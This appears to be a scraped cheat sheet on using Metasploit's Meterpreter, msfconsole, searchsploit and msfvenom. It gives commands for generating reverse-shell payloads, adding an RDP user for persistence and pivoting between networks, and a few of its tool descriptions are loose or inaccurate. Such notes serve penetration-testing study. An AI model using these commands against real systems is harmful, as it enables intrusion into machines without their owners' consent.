Metasploit Framework

Metasploit is a open source platform for developing and implementing automated attacks and defense.

Download

Or install with apt install metasploit-framework


            

Meterpreter

Meterpreter is a translation layer built into the Metasploit Framework console. It allows you to interact from your OS's shell with another OS's shell while being able to translate appropriately

Some handy commands:

import module - allows meterpreter to import a module, like powershell

load sourcefile destinationfile - allows meterpreter to load a file onto the target machine from the local machine

(PERSISTENCE) run getgui -e -u username -p password - Meterpreter script to enable RDP and create a user with a password

(PIVOTING) run autoroute -s 192.168.0.0/24 - Meterpreter script to add a route from attacker to target IP/subnet. Use run autoroute -p to view autoroutes

IN MSFCONSOLE: sessions -u sessionid - upgrades a session to a meterpreter shell (This will always use the same port, so if you need to upgrade multiple sessions, consider using multi/manage/shell_to_meterpreter">


            

Msfconsole

Msfconsole is a CLI tool that can be used to interact with Metasploit

Usage:

  1. msfconsole - starts the console
  2. search term to search - searches database for exploits/payloads
    • You can even use terms in your search. Such as type:exploit to search specifically for exploits
  3. use # - selects exploit based on corresponding number
  4. show payloads - lists available payloads for selected exploit
  5. use # - selects payload
  6. show options - lists available options for exploit and payload
  7. set OPTION value - sets an option
  8. exploit or run - runs the selected exploit

Some important things to note:

Some useful payloads/exploits:

 
            

Searchsploit

Searchsploit is a CLI tool that can be used to search for exploits

Usage:

searchsploit term - searches database for exploits

You can also download a script that searchsploit recommends based on your search term by typing searchsploit -m 123456 (replace 123456 with the ID listed in the "Path" section)


            

Msfvenom

Msfvenom is a CLI tool that can be used to create executable payloads

Usage:

msfvenom -p cmd/unix/reverse_netcat LHOST=LOCALMACHINE LPORT=4444 -f filetype R > output

Example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=1234 -f asp R > output.asp

After uploading this to the target, you would typically use multi/handler in msfconsole as your exploit and windows/meterpreter/reverse_tcp as your payload, ensuring that your options in metasploit are set to the same LHOST and LPORT as your payload that you generated

-p: specifies payload

-lhost: specifies listening host

-lport: specifies listening port

-R: specifies raw format